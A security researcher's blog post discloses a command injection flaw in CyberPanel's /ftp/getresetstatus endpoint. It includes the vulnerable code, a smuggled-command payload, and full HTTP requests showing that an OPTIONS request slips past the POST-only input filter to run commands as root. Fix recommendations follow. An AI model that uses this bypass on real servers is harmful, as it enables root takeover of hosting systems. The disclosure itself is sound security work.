942 words
5 minutes
Uncovering a Command Injection Vulnerability in CyberPanel: A Fun Journey into Security Testing

Uncovering a Command Injection Vulnerability in CyberPanel: A Fun Journey into Security Testing#

In the ever-evolving landscape of web applications, security remains a top concern. As an avid user and supporter of open-source projects, I was drawn to CyberPanel, a widely-used control panel for managing web hosting and server environments. Little did I know that my exploration would lead me down a rabbit hole, revealing a critical command injection vulnerability!

Setting the Scene: What is CyberPanel?#

CyberPanel is an open-source web hosting control panel that aims to simplify the management of servers. It’s packed with features, offering everything from file management to SSL management, making it a go-to choice for many developers and system administrators. However, like any powerful tool, it requires vigilance to ensure security measures are robust.

The Discovery: Unearthing the Vulnerability#

While diving into the functionality of CyberPanel, I stumbled upon the /ftp/getresetstatus endpoint. At first glance, it appeared innocuous enough, handling user requests with ease. However, a closer inspection revealed a critical flaw: this endpoint processes user input from the statusfile parameter without proper validation or sanitization, creating a tempting opportunity for remote command injection.

The Vulnerable Code#

The vulnerability exists in the /ftp/getresetstatus endpoint, which processes user input from the statusfile parameter. The code directly incorporates this input into a shell command without proper validation or access control. Here’s a simplified version of the vulnerable code:

def getresetstatus(request):
    data = json.loads(request.body)
    statusfile = data['statusfile']
    installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)
    ...

As illustrated, the statusfile parameter is directly used in a shell command, creating a significant opportunity for remote command injection. Moreover, this endpoint lacks proper Access Control Lists (ACLs), leaving it vulnerable to unauthorized access.

Step 1: Initial Testing#

My journey began by testing the /ftp/getresetstatus endpoint using a POST request. I crafted a request designed to execute the whoami command, ensuring to include the necessary CSRF token for validation:

POST /ftp/getresetstatus HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: django_language=en; csrftoken=3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
X-Csrftoken: 3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
Content-Length: 48

{
    "statusfile": "; whoami; #"
}

Upon sending the request, the security middleware sprang into action and blocked it, returning the following response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Vary: Accept-Language, Cookie
Content-Language: en
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Content-Length: 269
Date: Wed, 23 Oct 2024 10:52:35 GMT
Server: LiteSpeed
Connection: Keep-Alive

{"error_message": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : \u2018 < >.", "errorMessage": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : \u2018 < >."}

The middleware effectively checked for special characters in POST request bodies, but it did not apply the same scrutiny to other HTTP methods. This was the critical insight I needed.

Step 2: Analyzing the Security Middleware#

Curious about the middleware’s behavior, I dug deeper into the source code. The relevant security middleware checks for specific characters in POST request bodies. Here’s a simplified version of the security middleware code:

class secMiddleware:
    def __call__(self, request):
        if request.method == 'POST':
            try:
                data = json.loads(request.body)
                for key, value in data.items():
                    # Check for special characters
                    if any(char in value for char in [';', '&', '|', '`']):
                        # Log and block the request
                        return HttpResponse("Invalid input detected.")
            except Exception as msg:
                # Handle exceptions
                pass
        return self.get_response(request)

The middleware effectively checks for potentially harmful characters in POST requests, but it does not apply the same scrutiny to other HTTP methods. This was the critical insight I needed.

Step 3: The Bypass Discovery#

Realizing that the middleware was not enforcing the same checks for OPTIONS requests, I decided to exploit this oversight. I crafted an OPTIONS request with my malicious payload, ensuring to include all relevant headers just like the POST request:

OPTIONS /ftp/getresetstatus HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: django_language=en; csrftoken=3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
X-Csrftoken: 3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
Content-Length: 48

{
    "statusfile": "; whoami; #"
}

Step 4: Triggering the Vulnerability#

To my surprise, the OPTIONS request successfully passed through the security middleware without any validation, executing the command on the server. This allowed me to retrieve sensitive information, and I received the following response confirming the successful exploitation:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-XSS-Protection: 1; mode=block
X-Frame-Options: sameorigin
Content-Security-Policy: style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.jsdelivr.com https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.com https://cdn.jsdelivr.net
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Vary: Accept-Language, Cookie
Content-Language: en
Content-Length: 64
Date: Wed, 23 Oct 2024 10:57:29 GMT
Server: LiteSpeed
Connection: Keep-Alive

{"abort": 0, "error_message": "None", "requestStatus": "root\n"}

In this response, the requestStatus indicates that the command was executed with root privileges, highlighting the severity of the vulnerability.

Recommendations for Fixing the Vulnerability#

Having discovered this vulnerability, it’s crucial to act quickly to secure the application. Here are a few recommendations for CyberPanel developers:

  1. Implement Input Validation: Ensure all user inputs are validated and sanitized before being used in any shell commands.

  2. Utilize Access Control Lists (ACLs): Add ACLs to the /ftp/getresetstatus endpoint to restrict access and limit exposure to potential exploits.

  3. Review Other Endpoints: Conduct a thorough audit of other sensitive endpoints to identify any similar vulnerabilities or missing ACLs.

  4. Restrict HTTP Methods: Limit the allowed HTTP methods for sensitive endpoints. In particular, restrict the /ftp/getresetstatus endpoint to only allow POST requests, which should also pass through strict input validation.

  5. Enhance Security Middleware: Update the security middleware to inspect all HTTP methods, including OPTIONS, to ensure no bypassing of security checks is possible.

PoC: CVE-2024-51378 PoC Repository#

Note:#

Exact same vulnerability applies to /dns/getresetstatus endpoint.#

Conclusion: The Fun in Finding Flaws#

Finding this vulnerability in CyberPanel was both a challenge and a rewarding experience. It not only honed my skills in security testing but also reminded me of the importance of community in open-source projects. I encourage other developers and security researchers to dive into CyberPanel and similar applications—who knows what hidden gems (or vulnerabilities) you might find!

Happy testing!

Uncovering a Command Injection Vulnerability in CyberPanel: A Fun Journey into Security Testing
https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/
Author
refr4g
Published at
2024-10-26